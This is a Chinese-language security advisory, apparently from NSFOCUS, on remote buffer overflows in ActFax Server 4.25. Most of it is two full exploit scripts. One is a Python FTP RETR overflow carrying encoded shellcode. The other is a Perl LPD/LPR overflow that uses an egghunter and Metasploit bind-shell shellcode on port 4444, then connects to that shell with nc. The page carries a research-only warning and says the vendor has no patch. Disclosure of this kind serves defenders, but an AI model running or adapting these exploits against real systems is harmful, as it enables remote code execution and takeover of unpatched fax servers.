安全研究

安全漏洞
ActFax Server多个远程缓冲区溢出漏洞

发布日期:2011-02-15
更新日期:2011-02-15

受影响系统:
ActFax ActFax 4.25 Build 0221
描述:
BUGTRAQ  ID: 46412

ActFax Server是在Windows或UNIX的应用软件中收发传真的传真服务器软件。

ActFax Server在实现上存在漏洞,由于将用户数据复制到固定大小的内存缓冲区之前没有进行边界检查,攻击者可利用此漏洞在受影响应用程序中执行任意代码或造成拒绝服务。

<*来源:chap0 (chap0@gmail.com
  *>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

chap0 (chap0@gmail.com)提供了如下测试方法:

import socket  

  

print "\nActFax Server FTP Remote BOF"

print " chap0 - www.seek-truth.net \n"

  

# pops calc  

calccode = "PYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJINkXlqELKZL587Pep7PdoaxsSSQbLPcLMw5JXbpX8KwOcHBPwkON0A"

  

# push ebp #pop eax #sub eax,55555521 * 3 :)  

junk = "\x55\x58\x2D\x21\x55\x55\x55\x2D\x21\x55\x55\x55\x2D\x21\x55\x55\x55" + "C"*135 + calccode + "A"*(616-len(calccode))  

  

payload = junk + "\x37\x27\x40\x00" #RETN  

  

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)  

connect=s.connect(('192.168.1.2',21))  

s.recv(1024)  

s.send('USER ' + 'chapo\r\n')  

print (s.recv(1024))  

s.send('PASS chapo\r\n')  

print (s.recv(1024))  

s.send('RETR ' + payload + '\r\n')  

s.close



print "\nActFax Server LPD/LPR Remote Buffer Overflow\n";  

print " chap0 - www.seek-truth.net \n\n";  

  

use IO::Socket;  

  

print "Target Address Please: ";  

chomp($target = <STDIN>);  

    

my $sock = IO::Socket::INET->new(PeerAddr => $target, PeerPort => '515', Proto => 'tcp');  

  

print "Connecting. . .\n";  

  

# egghunter EDI encoded  

my $eggedi="WYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIrFOqZjyo4O1RPRrJwrShXMvNuluUBzBTJOoH2Wtpp0PtLKxzlorUYzlo2UHgKOKWA";  

  

  

# ./msfpayload windows/shell_bind_tcp LPORT=4444  

# alpha2 encoded aligned with edi  

my $shellcode="WYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIKLyxniWpwpWpSPk9yuVQJr2DLKsb4pLKP".  

"RvllKPR4TnksB18VoNWaZvFvQyotqKpnLwLSQSLuRVL5p9QZo4MS1kwKRJPQB67NkrrtPlKBb5l5Qn0NkcpQhK5kpt4BjWqXPPP".  

"LKsxdXlKpX7Ps1jsjC5lg9lKdtlKS1N6uaKOvQyPllo1hOTM5QYWEhKPQel46c3M8x7KSMetpuKRpXlKshQ4GqkccVLK6lPKLK0".  

"XUL7qN3lKGtlK31jpLIpDEtUt1KSkCQPY0ZpQKOypshaO2zLKTRJKNf1MQx7CWBUPwpaxt7rSebaOSdphpLPwDfUWkOXUx8npwq".  

"uPWp7Yo4cdPPrH5ymPbKWpKOJupPrpbp2p70pPcppPaxxjvoyOKPYoYEmYO7VQkkpSphUReP4QqLoyxf1zFpPVsgcXkrIKVWPgK".  

"O8Uccv7rHMgYydx9o9oJubsrs2wbHD4Xl7Km1KOXU67OyZgU81eRN2mU1KOJuRHpcpmU4GpOykS2wv7qGdqHvsZgbV9SfIrKMqv".  

"jgW4TdWLEQUQLMstWTvpo6ePw42tpPrvqF1FG6PVrnSfV6pS2vsXqizlUoovkOHUmYkPpNRvQVIotpph7xmWwmSPKON5oKJPH5M".  

"rSfu8LfmEMmmMKOiEgL363LgzMPkKkPsEWumk0G230rporJEPPSKOHUgzA";  

  

  

my $payload1 = "A" . $eggedi . "\x7D" x (256-length($eggedi));  

my $addy = "\x7D\x4B\x4A\x00" ;# --> pop EDI/ pop ESI/ pop EBP/ pop EBX/ pop ECX/ retn  

my $payload2 = "w00tw00t" . $shellcode;  

  

my $payloads = $payload1.$addy.$payload2;  

  

print $sock $payloads;  

  

    

print "DONE shell in a moment. . .\n";  

  

$connect = "nc -vvn $target 4444";  

  

system $connect

建议:
厂商补丁:

ActFax
------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.actfax.com/

浏览次数:2971
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障